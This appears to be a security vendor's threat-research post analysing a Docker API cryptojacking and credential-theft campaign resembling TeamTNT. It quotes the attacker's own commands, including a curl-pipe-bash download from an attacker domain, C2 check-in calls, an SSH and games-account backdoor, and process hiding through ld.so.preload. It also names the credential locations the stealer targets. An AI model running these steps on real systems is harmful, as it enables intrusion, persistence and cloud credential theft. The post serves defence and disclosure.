research

An analysis of a TeamTNT doppelgänger

February 1, 2024

An Analysis Of A Teamtnt Doppelgänger

Key points and observations

  • We have identified a unique campaign scanning the internet for exposed Docker API endpoints. The campaign does not target a specific organization—rather, it focuses on attacks of opportunity against misconfigured Docker API endpoints.
  • Once the scanners identify vulnerable or misconfigured Docker API endpoints, the threat actor deploys several backdoors, as well as cloud credential stealers on compromised machines.
  • We have observed this actor attempting to use compromised cloud credentials to establish persistence by creating new IAM users
  • The campaign attempts to hide long-lasting activity using several Linux-based userland anti-forensics techniques.
  • The threat actor's inadvertent exposure of a list of compromised machines and associated credentials has allowed us to assess the extent of the campaign. We promptly reported the compromised credentials and hosts to cloud providers to facilitate targeted mitigation efforts.
  • The campaign is still active as of January 30, 2024.
  • This campaign exhibits characteristics similar to one reported by Permiso, SentinelOne, and Aqua Security a few months ago.
Summary of the attack
Summary of the attack (click to enlarge)

Analysis of the attack

During our research, we observed the threat actor scanning internet-facing IP ranges for Docker API endpoints on ports 2375-2377 and alternative ports 4343-4244, using a combination of masscan and zgrab.

Enumeration

When encountering an unprotected Docker API without authentication, the threat actor initiates reconnaissance by gathering installation details.

GET /v1.24/info

Host: <victim>:2375
User-Agent: Go-http-client/1.1
GET /v1.24/images/json

Host: <victim>:2375
User-Agent: Go-http-client/1.1

They then run a container to identify if they have already compromised the target, by checking for the presence of a malicious systemd service:

POST /v1.24/containers/create

Host: <victim>:2375
User-Agent: Go-http-client/1.1
Content-Type: application/json

{
  "Image": "alpine",
  "HostConfig": {
    "Binds": ["/:/host"],
    "PidMode": "host",
    "Privileged": true,
  },
  "Cmd": [
    "chroot", "/host",
    "sh", "-c", "systemctl is-active dockercache 2>/dev/null"
  ]
}

We noticed the threat actor running this type of scan from multiple IP addresses starting on November 14, 2023.

Malicious payload deployment

Beginning January 14, 2024, the threat actor started to deploy malicious payloads by creating a container image based on cmd.cat/chattr and running the following command:

curl -sLk http://leetdbs.anondns.net/cmd/1.sh | bash 2>/dev/null

This malicious bash script downloads and executes several other malicious scripts, which are covered in the next sections.

Container images hosted on the cmd.cat registry are not necessarily malicious—but they are often used by attackers because they provide an easy way to run common system utilities that may not necessarily be installed on the system.

Persistence: Backdooring SSH configuration all the way down

This first script, retrieved from http://45.9.148[.]193/cmd/sh.php?sh=user establishes persistence on compromised machines in multiple ways, making it more challenging to get rid of the malicious code once discovered.

First, the script adds two SSH public keys to the authorized_keys file of the current user and of the root user. Then, it modifies the system-wide SSH configuration with the following settings:

PermitRootLogin yes
PermitTunnel yes
PasswordAuthentication yes

It also disables SSH logging by setting LogLevel to QUIET.

After tampering with the SSH configuration, the script backdoors the default games user account and ensures the attacker can leverage it, by:

  • Assigning the account a hardcoded password, dog
  • Adding it to the sudoers file
  • Overwriting /usr/bin/nologin with /bin/bash
if ! [ -f "/bin/bash" ]; then 
    cp /bin/sh /usr/bin/nologin 2>/dev/null
else
    cp /bin/bash /usr/bin/nologin 2>/dev/null
fi

sed -i '/games:/c\games:$6$wj0O7rk1$l/WNmXvf7nmmz8eATb3.7CiMKziKqARYVI0vnZIxeHu2mdxhfwdI3SNSlc5f2KeKDTG1RX.qPNPCV.mUJJNwP0:19556:0:99999:7:::' /etc/shadow

echo "games    ALL=(ALL:ALL) ALL" >> /etc/sudoers

After having backdoored the system, the malicious script calls http://45.9.148.193/insert/in.ssh.php to report to the command-and-control (C2) server that it has been infected.

SRCURL="http://45.9.148.193"

SSHOLIP=$(curl -sLk ipv4.icanhazip.com) ; fi
SSHPORT=$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port' | grep -v 'GatewayPorts\|#Port' | awk '{print $2}')

curl -v -Lk "$SRCURL/insert/in.ssh.php?port=$SSHPORT&remoip=$SSHOLIP"

Persistence: gsocket

The next script, downloaded from http://leetdbs.anondns[.]net/cmd/sh.php?sh=gsc, installs gsocket, a network utility that can be used as a remote access tool. Attackers have increasingly been using legitimate secure remote access tools such as ngrok or cloudflared to bypass firewalls and access a system after an initial compromise.

The installation process exhibits several characteristics that clearly attempt to hide under the radar. First, the gsocket binary is downloaded to the memory-mapped /dev/shm file system. This means that analyzing an image of persistent storage—as is often done during incident response—would not reveal any sign of the installation.

curl -fksSL $GSCBINURL -o /dev/shm/.nc.tar.gz

if ! tar -xzf/dev/shm/.nc.tar.gz -C /bin gs-netcat; then
  docker run -t -v /:/host --privileged cmd.cat/tar tar xzf /host/dev/shm/.nc.tar.gz -C /host/bin gs-netcat
fi

After creating a systemd service to run gsocket, the malicious script then actively hides the running process by creating a bind mount of an empty directory on /proc/[pid]. This is a simple but relatively uncommon trick that effectively hides the running process from system utilities such as ps or top.

declare dir=/usr/foo
mkdir -p $dir
mount --bind /usr/foo /proc/$1

Cloud-native credential stealer

The next script, http://leetdbs.anondns[.]net/cmd/sh.php?sh=aws, is a credential stealer that targets various types of credentials, including:

  • AWS credentials from the instance metadata service (IMDS)
  • AWS credentials from various hardcoded locations, such as .s3cfg
  • Google Cloud credentials from the environment (e.g., $GOOGLE_DEFAULT_CLIENT_SECRET) and access token files such as access_tokens.db
  • Azure credentials from the environment (e.g., $AZURE_CLIENT_SECRET)
  • Environment variables of all running processes, through /proc/*/env
  • Configuration of running containers, through docker inspect.

We observed this actor pivoting into victim environments when they compromise AWS credentials. To achieve this, they attempt to create an IAM user named aws_support, assign it a console profile and administrator permissions, and finally create an access key for it.

Crypto mining: XMRig

The final script, http://leetdbs.anondns[.]net/cmd/sh.php?sh=xcc, installs the XMrig crypto miner. While this is a common final payload for cloud-focused threat groups, a few things make the script particularly unique.

After installing XMRig and setting up a systemd service to run it, the script attempts to hide the crypto miner:

function initmain(){
  xmr_setup
  xmr_hide
  secure
  cleanup
}

The xhr_hide function works by writing the contents of libprocesshider.c (embedded in the bash script) to disk and compiling it on the fly to generate several shared object (.so files), each hiding one specific process:

mkdir /.../
cd /.../ 
echo "I2R[...]Rpcik7Cg==" | base64 -d > /.../p.c

sed -i 's#evil_script.py#docker-proxy#g' p.c
gcc -Wall -fPIC -shared -o docker-proxy.so p.c -ldl
mv docker-proxy.so /usr/local/lib/docker-proxy.so

# Repeated for 'docker-cache', 'gs-netcat' and 'sh'

The script then adds these files to the list of shared objects to pre-load, by writing to /etc/ld.so.preload:

echo "L3Vzci9sb2NhbC9saWIvZG9ja2VyLXByb3h5LnNvCi91c3IvbG9jY
WwvbGliL2RvY2tlci1jYWNoZS5zbwovdXNyL2xvY2FsL2xpYi9ncy1uZXRj
YXQuc28KL3Vzci9sb2NhbC9saWIvc2guc28K" | base64 -d > /etc/ld.so.preload

Note that this Base64-encoded payload decodes to the paths of the .so files:

/usr/local/lib/docker-proxy.so
/usr/local/lib/docker-cache.so
/usr/local/lib/gs-netcat.so
/usr/local/lib/sh.so

Any time a new process is created, the code of these shared objects is executed automatically and hides the malicious processes using libprocesshider, which works by hooking the intercepting calls to readdir() before it reaches libc.

static struct dirent * ( * original_ # #readdir)(DIR * ) = NULL;

struct dirent * readdir(DIR * dirp) {
  // ... 

  struct dirent * dir;

  while (1) {
    dir = original_readdir(dirp);
    if (dir) {
      char dir_name[256];
      char process_name[256];

      // Editor's note
      // If the readdir() call is on /proc and targets the process to hide, don't return it
      if (get_dir_name(dirp, dir_name, sizeof(dir_name)) &&
        strcmp(dir_name, "/proc") == 0 &&
        get_process_name(dir -> d_name, process_name) &&
        strcmp(process_name, process_to_filter) == 0) {
        continue;
      }
    }
    break;
  }
  return dir;
}

Backdooring outgoing SSH sessions: SSH-IT

As a final step, the script installs ssh-it, a utility that intercepts outgoing SSH connections to steal passwords, commands typed, and the output of those commands.

SSH-IT
SSH-IT (click to enlarge)

Analysis of the campaign's impact and infrastructure

In this section, we analyze the broader campaign's impact, infrastructure, and potential links to other threat actors.

Impact

As we've seen in previous sections, this campaign leverages several scripts to establish persistence, backdoor the system, and steal cloud credentials.

Along the way, the scripts "phone home" to several locations, in order to report that they have successfully infected a system:

http://45.9.148[.]193/insert/in.ssh.php
http://45.9.148[.]193/insert/keys.php

As it turns out, these servers have exposed their lists of compromised machines and identities and left them available for anyone to see. Based on these lists, we were able to assess the breadth of the campaign. As of early February 2024, this campaign had:

  • More than 560 compromised machines that were actively mining crypto currency
  • More than 400 compromised machines that had been backdoored
  • Roughly 30 compromised cloud access keys belonging to 16 unique accounts, including 19 long-lived access keys that were likely to still be valid
  • Several credentials for Docker registries and internet-facing cloud-hosted databases

We reported the leaked access keys and compromised VM instances to the respective cloud providers, so they could take appropriate action.

As of late January 2024, the threat actor had mined 4.3 monero, corresponding to around $700 USD. Most of the active miners are located in China (75 percent), followed by the US (15 percent) and Vietnam (1.8 percent).

Infrastructure

We have observed the threat actor leveraging several compromised hosts to perform scanning activities and spread the reach of their campaign further. Specifically, we searched our honeypots for scanning or exploitation activity that resembled the patterns we had already observed and found a number of IPs that had been performing similar activities.

Timeline graph of IPs involved in the campaign
Timeline graph of IPs involved in the campaign (click to enlarge)

Relationship to existing campaigns

Other researchers (Permiso and Aqua Security) have observed attacker tooling and infrastructure that is similar to that of the campaign we analyzed, especially the credential stealer. The campaign we report on here appears to have a larger scale than those previously observed and exhibits unique, new anti-forensics behavior.

Although different, the tooling used by the campaign exhibits shared characteristics with TeamTNT, such as:

  • The use of anondns[.]net domains
  • Exact matches in some pieces of the malicious code—for instance, the process to backdoor a system by hijacking the default games user
  • Similarities in the URL paths where malicious scripts are hosted, such as /cmd/aws.sh
  • Exact matches of a number of function names, such as make_ssh_backdoor and make_hiden_door (including the typo)
  • The use of masscan, zgrab, libprocesshider, and XMRig
  • The presence of numerous strings in German

We consequently assess that some of the tooling in this campaign directly comes from TeamTNT.

Note: Cado Security published their analysis of the same campaign the same day as this publication, although with a different set of indicators of compromise. In their analysis, the campaign is nicknamed "Commando Cat."

Attribution

As mentioned in the previous analysis of this campaign's cloud-native credential stealer, we found evidence that once the threat actor compromises AWS credentials, they create an IAM user with a console password. It turns out that the password used is very unique. By analyzing previous, publicly available password data breaches, we were able to identify an individual linked to this password, including their full name, residential IP address, and Facebook profile.

Identifying the likely actor's email based on the password used, based on publicly-available data breaches
Identifying the likely actor's email based on the password used, based on publicly-available data breaches (click to enlarge)
Identifying the likely individual's Facebook profile
Identifying the likely individual's Facebook profile (click to enlarge)

A note about attribution: Without legal methodologies mostly used by law enforcement agencies and governments, it’s rare in cyber threat intelligence to attribute a persona or campaign to a specific individual. We have confidence that this is most likely the operator since a) it was through hands-on-keyboard activity that they leaked a unique password and b) humans tend to be creatures of habit and reuse passwords.

Another campaign leveraging the same infrastructure

We have observed another campaign leveraging the same infrastructure, that compromises servers with open Docker API endpoints by delivering an UPX-packed version of an IRC backdoor, "ziggystartux," which is available on GitHub. The address of the C2 server is embedded in the binary and is open on the internet for anyone to join. This allowed us to retrieve the list of compromised machines:

Compromised hosts in an IRC channel
Compromised hosts in an IRC channel (click to enlarge)

From this IRC channel, the attacker can send a number of commands to their "bots":

IRC commands available to the attack through his IRC bot
IRC commands available to the attack through his IRC bot (click to enlarge)

Conclusion

Cloud-based cybercrime campaigns like the one we have detailed here focus on attacks of opportunity and typically target low-hanging fruit—i.e., vulnerable infrastructure. In this case, a misconfigured Docker endpoint can lead to a compromise of your host or containers Many of the compromised containers and hosts had cloud access keys and secrets on their filesystem, making it easy for the actors to find and exfiltrate them. We confirmed that the actor not only stole the keys, but pivoted into the cloud environments of at least 1 victim and attempted to backdoor the account with an Administrator user.

Attribution matters, but to what extent? The tool reuse we observed with this campaign shows that many of these actors rely on copying other malicious tool sets in order to accelerate operations, which can muddy the waters when answering the question, “Who did this?” We recommend that cloud-based defenders should spend most of their energy on raising the barrier to entry for opportunistic criminals like the one in this post.

How Datadog can help

Datadog Cloud Security Management (CSM) comes with the following out-of-the-box runtime security rules, which enable you to detect the types of attacker activity discussed in this post:

Indicators of compromise

Public SSH key fingerprints used to backdoored compromised machines

45W1sT0sjgrR77y4bXL4bWy5w3SYzHdZE1gA37VJnrg
8TqQhiJRBW+pTRMtagynYZRW+H2FM8EBJHaeK7Mhx3k

IP addresses

IP address Last scanning activity observed
129.213.126.209 2023-11-14
185.156.174.178 2024-01-28
80.239.140.66 2023-12-07
80.239.140.67 2024-01-29
91.240.65.5 2023-12-27
45.9.148.193 2024-01-30
68.183.76.115 2023-12-26
92.223.88.171 2023-12-31
45.9.148.202 2024-01-24
91.240.65.2 2024-01-03
46.114.226.145 2024-01-03
45.130.85.2 2024-01-11
91.236.55.133 2024-01-12
91.236.55.152 2024-01-14
80.248.243.202 2024-01-18
185.9.19.90 2024-01-30

Scripts

Name SHA256
1.sh decf24972ad4319175623b920de0b3fc9935f8b02c5c848d10748fcf816f76cd
sh.php?sh=aws fe2970514ec28260865392bbd46b36a5cf6e430ef307e65229fd0915d1f6647c
sh.php?sh=gsc 69b60d56add2a2d8f6b8d68a86a03e81ec3fe0b80b134ba0b3b068b085fb804a
sh.php?sh=user f445537b31a7b575e5f0937fe350564890ec6250ecd07d5099626e59808bb5c0
sh.php?sh=xcc e6b50cef5a9085167fa2c1880a13f3475be9ede75724d74247591b6ef8c1b995

Systemd service names

gsc.service
dockercache.service

Hostnames

ap-northeast-1.compute.internal[.]anondns.net
leetdbs.anondns[.]net
myproxy.anondns[.]net
panel001.anondns[.]net
registerit.anondns[.]net
silentbob.anondns[.]net
stargate.anondns[.]net

Did you find this article helpful?

Related Content